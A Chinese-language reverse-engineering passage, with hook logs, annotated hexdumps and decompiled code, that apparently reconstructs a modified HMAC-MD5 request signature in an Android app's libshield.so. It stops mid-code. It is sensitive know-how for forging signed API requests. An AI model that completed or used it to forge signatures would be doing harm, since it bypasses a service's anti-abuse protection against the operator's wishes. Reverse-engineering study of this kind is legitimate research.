^-----------------------------------------------------------------------------^
num===================================2
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 211]0x539DC onenter arg0 2, md5=2391e90a328d7d9e29b58b37a6e9e379, hex=76543210fedcba9889abcdef012345670002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000056b7c9e979a41bd7db811024d9881068aff7149b
size: 112
0000: 76 54 32 10 FE DC BA 98 89 AB CD EF 01 23 45 67 vT2..........#Eg ====> 第二次使用初始化的魔数
0010: 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 56 B7 C9 E9 ............V...
0060: 79 A4 1B D7 DB 81 10 24 D9 88 10 68 AF F7 14 9B y......$...h....
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 211]0x539DC onenter arg1 2, md5=c7da11f9893ecb4646005feb5d3aa43d, hex=aaf3532ff670ab3f6790d7820a26bf3df63602f81064b8b4bc4caa31aa3b35f2add9259a3296d3c2fe24f1a71e500097f0bcd130ac31d86bcd28155aebf5ba805c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c
size: 112
0000: AA F3 53 2F F6 70 AB 3F 67 90 D7 82 0A 26 BF 3D ..S/.p.?g....&.= ====> 发生改变 self.outer_key = self.xor_bytes(key, b\'\\\\x5c\' * self.block_size) 猜测是外部哈希的秘钥
0010: F6 36 02 F8 10 64 B8 B4 BC 4C AA 31 AA 3B 35 F2 .6...d...L.1.;5. ====> 猜测是outer_key ^opad
0020: AD D9 25 9A 32 96 D3 C2 FE 24 F1 A7 1E 50 00 97 ..%.2....$...P..
0030: F0 BC D1 30 AC 31 D8 6B CD 28 15 5A EB F5 BA 80 ...0.1.k.(.Z....
0040: 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ====> 0x5c -> \'\'
0050: 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
0060: 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 211]0x539DC onleave arg0 2, md5=977c2480839d0eef219e44792f4be455, hex=4dce5e546813c11e6c9d64b5eee2c4d10002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000056b7c9e979a41bd7db811024d9881068aff7149b
size: 112
0000: 4D CE 5E 54 68 13 C1 1E 6C 9D 64 B5 EE E2 C4 D1 M.^Th...l.d..... ====> 定为context2 a0 b0 c0 d0状态发生改变
0010: 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 56 B7 C9 E9 ............V...
0060: 79 A4 1B D7 DB 81 10 24 D9 88 10 68 AF F7 14 9B y......$...h....
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 211]0x539DC onleave arg1 2, md5=c7da11f9893ecb4646005feb5d3aa43d, hex=aaf3532ff670ab3f6790d7820a26bf3df63602f81064b8b4bc4caa31aa3b35f2add9259a3296d3c2fe24f1a71e500097f0bcd130ac31d86bcd28155aebf5ba805c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c
size: 112
0000: AA F3 53 2F F6 70 AB 3F 67 90 D7 82 0A 26 BF 3D ..S/.p.?g....&.= ====> outer_key 未变化
0010: F6 36 02 F8 10 64 B8 B4 BC 4C AA 31 AA 3B 35 F2 .6...d...L.1.;5.
0020: AD D9 25 9A 32 96 D3 C2 FE 24 F1 A7 1E 50 00 97 ..%.2....$...P..
0030: F0 BC D1 30 AC 31 D8 6B CD 28 15 5A EB F5 BA 80 ...0.1.k.(.Z....
0040: 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
0050: 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
0060: 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
^-----------------------------------------------------------------------------^
JNIEnv->CallIntMethodV(okio.Buffer@551aa95a, read([B@3cef309d) => 0x51a) was called from RX@0x40013d54[libshield.so]0x13d54
JNIEnv->GetByteArrayElements(false) => [B@3cef309d was called from RX@0x40016048[libshield.so]0x16048
num===================================3
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 218]0x539DC onenter arg0 3, md5=82c7d92b94e9396afef90915f4f6285c, hex=95f2e683b60384c3dab6f917341ee413d02a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000056b7c9e979a41bd7db811024d9881068aff7149b
size: 112
0000: 95 F2 E6 83 B6 03 84 C3 DA B6 F9 17 34 1E E4 13 ............4... ====> 魔数使用的是context1 95 F2 E6 83 B6 03 84 C3 DA B6 F9 17 34 1E E4 13这是一轮运算后的a0 b0 c0 d0状态
0010: D0 2A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .*..............
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 56 B7 C9 E9 ............V...
0060: 79 A4 1B D7 DB 81 10 24 D9 88 10 68 AF F7 14 9B y......$...h....
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 219]0x539DC onenter arg1 3, md5=904e35cfd0569c51b3e8544e3ade61f5, hex=2f6170692f736e732f76362f686f6d65666565646f69643d686f6d65666565645f7265636f6d6d656e6426637572736f725f73636f72653d313731333833323536332e393638302667656f3d65794a73595852706448566b5a5349364d4334774d4441774d444173496d7876626d6470
size: 112
0000: 2F 61 70 69 2F 73 6E 73 2F 76 36 2F 68 6F 6D 65 /api/sns/v6/home ====> 猜测H((outer_key ^opad) || H((inner_key ^ ipad) || M))中的 M(原始消息)
0010: 66 65 65 64 6F 69 64 3D 68 6F 6D 65 66 65 65 64 feedoid=homefeed 入参用的url(去掉协议和问号) + xy-common-params + xy-direction + xy-platform-info,也对应着update过程
0020: 5F 72 65 63 6F 6D 6D 65 6E 64 26 63 75 72 73 6F _recommend&curso ====> 使用# m0x40151000 0x1000可以查看url全部内容
0030: 72 5F 73 63 6F 72 65 3D 31 37 31 33 38 33 32 35 r_score=17138325
0040: 36 33 2E 39 36 38 30 26 67 65 6F 3D 65 79 4A 73 63.9680&geo=eyJs
0050: 59 58 52 70 64 48 56 6B 5A 53 49 36 4D 43 34 77 YXRpdHVkZSI6MC4w
0060: 4D 44 41 77 4D 44 41 73 49 6D 78 76 62 6D 64 70 MDAwMDAsImxvbmdp
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 219]0x539DC onleave arg0 3, md5=4928acd31fa5b37e556d1b0373c9cf5f, hex=fdc766edab21b268d4dd98cc8f8033a7d02a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000056b7c9e979a41bd7db811024d9881068aff7149b
size: 112
0000: FD C7 66 ED AB 21 B2 68 D4 DD 98 CC 8F 80 33 A7 ..f..!.h......3. ====> FD C7 66 ED AB 21 B2 68 D4 DD 98 CC 8F 80 33 A7 达到最开始hook sub_54600时arg1的状态
0010: D0 2A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .*..............
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 56 B7 C9 E9 ............V...
0060: 79 A4 1B D7 DB 81 10 24 D9 88 10 68 AF F7 14 9B y......$...h....
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 219]0x539DC onleave arg1 3, md5=904e35cfd0569c51b3e8544e3ade61f5, hex=2f6170692f736e732f76362f686f6d65666565646f69643d686f6d65666565645f7265636f6d6d656e6426637572736f725f73636f72653d313731333833323536332e393638302667656f3d65794a73595852706448566b5a5349364d4334774d4441774d444173496d7876626d6470
size: 112
0000: 2F 61 70 69 2F 73 6E 73 2F 76 36 2F 68 6F 6D 65 /api/sns/v6/home
0010: 66 65 65 64 6F 69 64 3D 68 6F 6D 65 66 65 65 64 feedoid=homefeed
0020: 5F 72 65 63 6F 6D 6D 65 6E 64 26 63 75 72 73 6F _recommend&curso
0030: 72 5F 73 63 6F 72 65 3D 31 37 31 33 38 33 32 35 r_score=17138325
0040: 36 33 2E 39 36 38 30 26 67 65 6F 3D 65 79 4A 73 63.9680&geo=eyJs
0050: 59 58 52 70 64 48 56 6B 5A 53 49 36 4D 43 34 77 YXRpdHVkZSI6MC4w
0060: 4D 44 41 77 4D 44 41 73 49 6D 78 76 62 6D 64 70 MDAwMDAsImxvbmdp
^-----------------------------------------------------------------------------^
JNIEnv->CallIntMethodV(okio.Buffer@551aa95a, read([B@32709393) => 0xffffffff) was called from RX@0x40013d54[libshield.so]0x13d54
num===================================4
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 220]0x539DC onenter arg0 4, md5=3703657ab7de0a79075c1adef0d9fb96, hex=fdc766edab21b268d4dd98cc8f8033a7d02a0000000000006336652d333839312d393435612d666430336334373936656233800000000000000000000000000000000000000000000000000000000000d02a0000000000001a00000056b7c9e979a41bd7db811024d9881068aff7149b
size: 112
0000: FD C7 66 ED AB 21 B2 68 D4 DD 98 CC 8F 80 33 A7 ..f..!.h......3. ====> 是第三次填充结果的update 看到有0x80想到填充,得到第一个md5的结果
0010: D0 2A 00 00 00 00 00 00 63 36 65 2D 33 38 39 31 .......c6e-3891
0020: 2D 39 34 35 61 2D 66 64 30 33 63 34 37 39 36 65 -945a-fd03c4796e ====> 这里update 传入的数据不够512还需要填充0x80 再填充0x00
0030: 62 33 80 00 00 00 00 00 00 00 00 00 00 00 00 00 b3..............
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: D0 2A 00 00 00 00 00 00 1A 00 00 00 56 B7 C9 E9 ...........V...
0060: 79 A4 1B D7 DB 81 10 24 D9 88 10 68 AF F7 14 9B y......$...h....
^-----------------------------------------------------------------------------^
填充
def pad_message(message): # 填充
original_length_bits = len(message) * 8
message += b\'\\\\x80\'
while (len(message) + 8) % 64 != 0:
message += b\'\\\\x00\'
message += struct.pack(\'<Q\', original_length_bits)
return message
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 220]0x539DC onenter arg1 4, md5=58f35f1e6adedcab6edcdf162a0b7409, hex=6336652d333839312d393435612d666430336334373936656233800000000000000000000000000000000000000000000000000000000000d02a0000000000001a00000056b7c9e979a41bd7db811024d9881068aff7149bb15b1fffbed71c8822616666936166f69e6319a621091449
size: 112
0000: 63 36 65 2D 33 38 39 31 2D 39 34 35 61 2D 66 64 c6e-3891-945a-fd
0010: 30 33 63 34 37 39 36 65 62 33 80 00 00 00 00 00 03c4796eb3......
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 D0 2A 00 00 00 00 00 00 .........*......
0040: 1A 00 00 00 56 B7 C9 E9 79 A4 1B D7 DB 81 10 24 ....V...y......$
0050: D9 88 10 68 AF F7 14 9B B1 5B 1F FF BE D7 1C 88 ...h.....[......
0060: 22 61 66 66 93 61 66 F6 9E 63 19 A6 21 09 14 49 \\"aff.af..c..!..I
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 221]0x539DC onleave arg0 4, md5=bc25db9ecb4d17f74c073d412e7ac5d4, hex=52b5e275188da27ee6aa771bcc702836d02a0000000000006336652d333839312d393435612d666430336334373936656233800000000000000000000000000000000000000000000000000000000000d02a0000000000001a00000056b7c9e979a41bd7db811024d9881068aff7149b
size: 112
0000: 52 B5 E2 75 18 8D A2 7E E6 AA 77 1B CC 70 28 36 R..u...~..w..p(6
0010: D0 2A 00 00 00 00 00 00 63 36 65 2D 33 38 39 31 .......c6e-3891
0020: 2D 39 34 35 61 2D 66 64 30 33 63 34 37 39 36 65 -945a-fd03c4796e
0030: 62 33 80 00 00 00 00 00 00 00 00 00 00 00 00 00 b3..............
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: D0 2A 00 00 00 00 00 00 1A 00 00 00 56 B7 C9 E9 ...........V...
0060: 79 A4 1B D7 DB 81 10 24 D9 88 10 68 AF F7 14 9B y......$...h....
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 221]0x539DC onleave arg1 4, md5=58f35f1e6adedcab6edcdf162a0b7409, hex=6336652d333839312d393435612d666430336334373936656233800000000000000000000000000000000000000000000000000000000000d02a0000000000001a00000056b7c9e979a41bd7db811024d9881068aff7149bb15b1fffbed71c8822616666936166f69e6319a621091449
size: 112
0000: 63 36 65 2D 33 38 39 31 2D 39 34 35 61 2D 66 64 c6e-3891-945a-fd
0010: 30 33 63 34 37 39 36 65 62 33 80 00 00 00 00 00 03c4796eb3......
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 D0 2A 00 00 00 00 00 00 .........*......
0040: 1A 00 00 00 56 B7 C9 E9 79 A4 1B D7 DB 81 10 24 ....V...y......$
0050: D9 88 10 68 AF F7 14 9B B1 5B 1F FF BE D7 1C 88 ...h.....[......
0060: 22 61 66 66 93 61 66 F6 9E 63 19 A6 21 09 14 49 \\"aff.af..c..!..I
^-----------------------------------------------------------------------------^
num===================================5
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 221]0x539DC onenter arg0 5, md5=1a011536c1b536274d283d0babbfa549, hex=4dce5e546813c11e6c9d64b5eee2c4d1800200000000000052b5e275188da27ee6aa771bcc7028368000000000000000000000000000000000000000000000000000000000000000000000000000000080020000000000001000000056b7c9e979a41bd7db811024d9881068aff7149b
size: 112
0000: 4D CE 5E 54 68 13 C1 1E 6C 9D 64 B5 EE E2 C4 D1 M.^Th...l.d..... ====> 使用的是魔数context2
0010: 80 02 00 00 00 00 00 00 52 B5 E2 75 18 8D A2 7E ........R..u...~
0020: E6 AA 77 1B CC 70 28 36 80 00 00 00 00 00 00 00 ..w..p(6........
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 80 02 00 00 00 00 00 00 10 00 00 00 56 B7 C9 E9 ............V...
0060: 79 A4 1B D7 DB 81 10 24 D9 88 10 68 AF F7 14 9B y......$...h....
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 222]0x539DC onenter arg1 5, md5=7575b2d8a8ec66c4c66355573efcf7ce, hex=52b5e275188da27ee6aa771bcc7028368000000000000000000000000000000000000000000000000000000000000000000000000000000080020000000000001000000056b7c9e979a41bd7db811024d9881068aff7149bb15b1fffbed71c8822616666936166f69e6319a621091449
size: 112
0000: 52 B5 E2 75 18 8D A2 7E E6 AA 77 1B CC 70 28 36 R..u...~..w..p(6
0010: 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 80 02 00 00 00 00 00 00 ................
0040: 10 00 00 00 56 B7 C9 E9 79 A4 1B D7 DB 81 10 24 ....V...y......$
0050: D9 88 10 68 AF F7 14 9B B1 5B 1F FF BE D7 1C 88 ...h.....[......
0060: 22 61 66 66 93 61 66 F6 9E 63 19 A6 21 09 14 49 \\"aff.af..c..!..I
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 222]0x539DC onleave arg0 5, md5=8021334153e21214731a90b8cf4bdb1b, hex=a9ececc3c790c4e778413763f3f53dab800200000000000052b5e275188da27ee6aa771bcc7028368000000000000000000000000000000000000000000000000000000000000000000000000000000080020000000000001000000056b7c9e979a41bd7db811024d9881068aff7149b
size: 112
0000: A9 EC EC C3 C7 90 C4 E7 78 41 37 63 F3 F5 3D AB ........xA7c..=. ====> a0 b0 c0 d0的最终状态就是 md5最终的生成
0010: 80 02 00 00 00 00 00 00 52 B5 E2 75 18 8D A2 7E ........R..u...~
0020: E6 AA 77 1B CC 70 28 36 80 00 00 00 00 00 00 00 ..w..p(6........
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 80 02 00 00 00 00 00 00 10 00 00 00 56 B7 C9 E9 ............V...
0060: 79 A4 1B D7 DB 81 10 24 D9 88 10 68 AF F7 14 9B y......$...h....
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 222]0x539DC onleave arg1 5, md5=7575b2d8a8ec66c4c66355573efcf7ce, hex=52b5e275188da27ee6aa771bcc7028368000000000000000000000000000000000000000000000000000000000000000000000000000000080020000000000001000000056b7c9e979a41bd7db811024d9881068aff7149bb15b1fffbed71c8822616666936166f69e6319a621091449
size: 112
0000: 52 B5 E2 75 18 8D A2 7E E6 AA 77 1B CC 70 28 36 R..u...~..w..p(6
0010: 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 80 02 00 00 00 00 00 00 ................
0040: 10 00 00 00 56 B7 C9 E9 79 A4 1B D7 DB 81 10 24 ....V...y......$
0050: D9 88 10 68 AF F7 14 9B B1 5B 1F FF BE D7 1C 88 ...h.....[......
0060: 22 61 66 66 93 61 66 F6 9E 63 19 A6 21 09 14 49 \\"aff.af..c..!..I
^-----------------------------------------------------------------------------^
由上述日志可以看出是标准的hmac
\\n继续分析int *__fastcall sub_539DC(int *result, unsigned __int8 *a2, __int64 a3)的内部实现
对照着标准的md5 观察k表 魔数 循环左移被改成循环右移 需要用32减去 同时循环左移的位数也改了 不是标准的32
int *__fastcall sub_539DC(int *result, unsigned __int8 *a2, __int64 a3) result:存储魔数状态 a2:存储计算结果(update中间态) a3:计算轮次
{ // 省略IDA中无用内容
if ( a3 ) // a3传参记录计算轮次(是upate的次数吗?) result -> 0000: 76 54 32 10 FE DC BA 98 89 AB CD EF 01 23 45 67
{
v3 = result[2]; 89 AB CD EF // b0 ====> 魔改点1: 魔数顺序不一样?
v4 = result[3]; 01 23 45 67 // a0
v6 = *result; 76 54 32 10 // d0
v5 = result[1]; FE DC BA 98 // c0
do // 开始进行 4大轮 每一大轮16小轮的运算
{
// 以下属于MD5的消息分组处理逻辑,将输入消息分成512位(64字节)的块,每个块进一步划分为16个32位(4字节)的子块。
// 这段代码作用就是从输入的512位消息快中提取这些32位子块,并将它们存储到变量中,以便后续的压缩函数使用.
// 代码通过a2[i] | (a2[i+1] << 8) | (a2[i+2] << 16) | (a2[i+3] << 24)的方式将4个字节组合成一个32位的整数 (unsigned int8代表1字节) a2指针指向传入的数据
// v7 v171...等,如同标准MD5中M[0]...M[15]共16个压缩模块参与加密运算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | v7 = (unsigned __int16)( * a2 | (a2[ 1 ] << 8 )) | (a2[ 2 ] << 16 ) & 0xFFFFFF | (a2[ 3 ] << 24 ); v8 = (unsigned __int16)(a2[ 4 ] | (a2[ 5 ] << 8 )) | (a2[ 6 ] << 16 ) & 0xFFFFFF | (a2[ 7 ] << 24 ); v9 = a2[ 12 ] | (unsigned __int16)(a2[ 13 ] << 8 ) | (a2[ 14 ] << 16 ) & 0xFFFFFF | (a2[ 15 ] << 24 ); v10 = a2[ 8 ] | (unsigned __int16)(a2[ 9 ] << 8 ) | (a2[ 10 ] << 16 ) & 0xFFFFFF | (a2[ 11 ] << 24 ); v171 = (unsigned __int16)(a2[ 16 ] | (a2[ 17 ] << 8 )) | (a2[ 18 ] << 16 ) & 0xFFFFFF | (a2[ 19 ] << 24 ); v11 = a2[ 28 ] | (unsigned __int16)(a2[ 29 ] << 8 ) | (a2[ 30 ] << 16 ) & 0xFFFFFF | (a2[ 31 ] << 24 ); v12 = a2[ 24 ] | (unsigned __int16)(a2[ 25 ] << 8 ) | (a2[ 26 ] << 16 ) & 0xFFFFFF | (a2[ 27 ] << 24 ); v13 = a2[ 56 ] | (unsigned __int16)(a2[ 57 ] << 8 ) | (a2[ 58 ] << 16 ) & 0xFFFFFF | (a2[ 59 ] << 24 ); v14 = a2[ 40 ] | (unsigned __int16)(a2[ 41 ] << 8 ) | (a2[ 42 ] << 16 ) & 0xFFFFFF | (a2[ 43 ] << 24 ); v15 = a2[ 60 ] | (unsigned __int16)(a2[ 61 ] << 8 ) | (a2[ 62 ] << 16 ) & 0xFFFFFF | (a2[ 63 ] << 24 ); v16 = a2[ 32 ] | (unsigned __int16)(a2[ 33 ] << 8 ) | (a2[ 34 ] << 16 ) & 0xFFFFFF | (a2[ 35 ] << 24 ); v17 = a2[ 36 ] | (unsigned __int16)(a2[ 37 ] << 8 ) | (a2[ 38 ] << 16 ) & 0xFFFFFF | (a2[ 39 ] << 24 ); v18 = a2[ 44 ] | (unsigned __int16)(a2[ 45 ] << 8 ) | (a2[ 46 ] << 16 ) & 0xFFFFFF | (a2[ 47 ] << 24 ); v168 = result[ 64 ] + v7; v159 = (result[ 42 ] & 0xFF0011FF ) + v7; v173 = result[ 71 ] + v7; v161 = result[ 48 ] + v13; / / 这些result记录中间态 v165 = result[ 58 ] + v13; v155 = result[ 37 ] + v13; v169 = result[ 73 ] + v13; v19 = a2[ 48 ] | (unsigned __int16)(a2[ 49 ] << 8 ) | (a2[ 50 ] << 16 ) & 0xFFFFFF | (a2[ 51 ] << 24 ); v152 = result[ 35 ] + v19; v162 = result[ 54 ] + v19; v166 = result[ 68 ] + v19; v170 = result[ 75 ] + v19; v160 = result[ 59 ] + v8; v167 = result[ 78 ] + v8; v20 = a2[ 52 ] | (unsigned __int16)(a2[ 53 ] << 8 ) | (a2[ 54 ] << 16 ) & 0xFFFFFF | (a2[ 55 ] << 24 ); v21 = result[ 40 ] + v12; v22 = result[ 34 ] + v18; v23 = result[ 41 ] + v18; v153 = result[ 57 ] + v18; v164 = result[ 84 ] + v18; v150 = (result[ 52 ] & 0xFF110011 ) + v10; v157 = result[ 70 ] + v10; v163 = result[ 85 ] + v10; v154 = result[ 65 ] + v9; v24 = result[ 49 ] + v9; v158 = result[ 76 ] + v9; v25 = v9 + v5 + result[ 26 ]; |
以上应该是初始化数据 还没有进入Round1,根据源码逻辑,第一轮计算需要v3,v4,v5,v6四个魔数进行计算
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 | HIDWORD(v26) = ((v3 ^ v4) & v5 ^ v4) + v6 + v7 + result[ 23 ]; LODWORD(v26) = HIDWORD(v26); v27 = (v26 >> 26 ) + v5; HIDWORD(v26) = v8 + v4 + result[ 24 ] + (v27 & (v5 ^ v3) ^ v3); LODWORD(v26) = HIDWORD(v26); v28 = (v26 >> 19 ) + v27; v29 = a2[ 20 ] | (unsigned __int16)(a2[ 21 ] << 8 ) | (a2[ 22 ] << 16 ) & 0xFFFFFF | (a2[ 23 ] << 24 ); HIDWORD(v26) = v10 + v3 + result[ 25 ] + (v28 & (v27 ^ v5) ^ v5); LODWORD(v26) = HIDWORD(v26); v30 = v29 + v28 + result[ 28 ]; v31 = (v26 >> 15 ) + v28; v151 = result[ 66 ] + v12; v172 = result[ 81 ] + v12; HIDWORD(v26) = v25 + (v31 & (v28 ^ v27) ^ v27); / / 第一轮魔改了 return (x & y) | (~x & z) LODWORD(v26) = HIDWORD(v26); v32 = (v26 >> 11 ) + v31; HIDWORD(v26) = v171 + v27 + result[ 27 ] + (v32 & (v31 ^ v28) ^ v28); LODWORD(v26) = HIDWORD(v26); v33 = (v26 >> 25 ) + v32; HIDWORD(v26) = v30 + (v33 & (v32 ^ v31) ^ v31); LODWORD(v26) = HIDWORD(v26); v34 = (v26 >> 20 ) + v33; HIDWORD(v26) = v12 + v31 + result[ 29 ] + (v34 & (v33 ^ v32) ^ v32); LODWORD(v26) = HIDWORD(v26); v35 = (v26 >> 15 ) + v34; v156 = result[ 79 ] + v16; v36 = result[ 56 ] + v16; v37 = v16 + v33 + result[ 31 ]; v38 = result[ 50 ] + v16; HIDWORD(v26) = v11 + v32 + result[ 30 ] + (v35 & (v34 ^ v33) ^ v33); LODWORD(v26) = HIDWORD(v26); v39 = (v26 >> 12 ) + v35; HIDWORD(v26) = v37 + (v39 & (v35 ^ v34) ^ v34); LODWORD(v26) = HIDWORD(v26); v40 = (v26 >> 25 ) + v39; HIDWORD(v26) = v17 + v34 + result[ 32 ] + (v40 & (v39 ^ v35) ^ v35); LODWORD(v26) = HIDWORD(v26); v41 = (v26 >> 20 ) + v40; v42 = v35 + v14 + result[ 33 ]; v43 = v22 + v39; HIDWORD(v26) = v42 + (v41 & (v40 ^ v39) ^ v39); LODWORD(v26) = HIDWORD(v26); v44 = (v26 >> 16 ) + v41; v45 = v152 + v40; HIDWORD(v26) = v43 + (v44 & (v41 ^ v40) ^ v40); LODWORD(v26) = HIDWORD(v26); v46 = (v26 >> 10 ) + v44; v47 = result[ 36 ] + v20 + v41; HIDWORD(v26) = v45 + (v46 & (v44 ^ v41) ^ v41); LODWORD(v26) = HIDWORD(v26); v48 = (v26 >> 25 ) + v46; v49 = v155 + v44; HIDWORD(v26) = v47 + (v48 & (v46 ^ v44) ^ v44); LODWORD(v26) = HIDWORD(v26); v50 = (v26 >> 19 ) + v48; v51 = v15 + result[ 38 ] + v46; HIDWORD(v26) = v49 + (v50 & (v48 ^ v46) ^ v46); LODWORD(v26) = HIDWORD(v26); v52 = (v26 >> 15 ) + v50; v53 = (result[ 39 ] & 0xFF00FF00 ) + v8 + v48; HIDWORD(v26) = v51 + (v52 & (v50 ^ v48) ^ v48); / / 第一轮 LODWORD(v26) = HIDWORD(v26); v54 = (v26 >> 10 ) + v52; v55 = v21 + v50; HIDWORD(v26) = v53 + ((v54 ^ v52) & v50 ^ v52); / / 第二轮 也魔改位运算 return (x & z) | (y & ~z) LODWORD(v26) = HIDWORD(v26); v56 = (v26 >> 27 ) + v54; v57 = v23 + v52; HIDWORD(v26) = v55 + ((v56 ^ v54) & v52 ^ v54); LODWORD(v26) = HIDWORD(v26); v58 = (v26 >> 23 ) + v56; v59 = v159 + v54; HIDWORD(v26) = v57 + ((v58 ^ v56) & v54 ^ v56); LODWORD(v26) = HIDWORD(v26); v60 = (v26 >> 18 ) + v58; v61 = result[ 43 ] + v29 + v56; HIDWORD(v26) = v59 + ((v60 ^ v58) & v56 ^ v58); LODWORD(v26) = HIDWORD(v26); v62 = (v26 >> 12 ) + v60; v63 = result[ 44 ] + v14 + v58; HIDWORD(v26) = v61 + ((v62 ^ v60) & v58 ^ v60); LODWORD(v26) = HIDWORD(v26); v64 = (v26 >> 27 ) + v62; v65 = result[ 45 ] + v15 + v60; HIDWORD(v26) = v63 + ((v64 ^ v62) & v60 ^ v62); LODWORD(v26) = HIDWORD(v26); v66 = (v26 >> 23 ) + v64; v67 = 